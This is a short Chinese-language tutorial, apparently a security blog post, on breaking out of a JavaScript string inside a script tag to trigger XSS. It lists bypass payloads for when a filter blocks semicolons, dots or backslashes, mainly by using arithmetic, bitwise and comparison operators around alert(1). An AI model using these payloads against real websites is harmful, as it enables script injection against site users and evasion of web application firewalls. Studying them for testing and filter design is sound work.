漏洞場景
如下所示的XSS位置,紅色部分表示用戶可控
<script>id="xsspoint";</script>
常見思路
最常用的閉合方式就是輸入";alert(1);",那么代碼就變成如下,
<script>id="";alert(1);"";</script>
也可以輸入";alert(1);//,效果一樣
<script>id="";alert(1);//";</script>
過濾分號的場景
問題來了,如果過濾了分號怎么辦?一種辦法是利用點號,取字符的a函數,把要執行的js代碼作為入參放在a函數中,即使a函數是不存在函數,js也會先執行其中的入參,payload如下
<script>"".a(alert(1))//";</script>
過濾分號、點號的場景
問題又來了,如果過濾了分號還過濾了點號甚至還過濾了反斜杠咋辦?這里介紹一個今天才理解的思路——用中划線
<script>""-alert(1)-”";</script>
之前沒有看明白,只知道可以執行,今天在群里和伙伴們討論了下,中划線不就是減號嘛! 也就是說減號兩邊的對象也是會先作為js執行,畢竟要先得到兩邊的值才能進行算數計算~
因此除了減號,其他數學運算符號和位運算符號,也都是闊以的,后面繞過XSS的思路就更多了
<script>""+alert(1)+"";</script>
<script>""/alert(1)/"";</script>
<script>""%alert(1)%"";</script>
<script>""*alert(1)*"";</script>
<script>""^alert(1)^"";</script>
<script>"">>alert(1)>>"";</script>
<script>""<<alert(1)<<"";</script>
<script>""<alert(1)<"";</script>
<script>"">alert(1)>"";</script>
<script>""==alert(1)=="";</script>
結語
隨着WAF更加的牛逼 , XSS越來越難繞了 , 且行且珍惜啊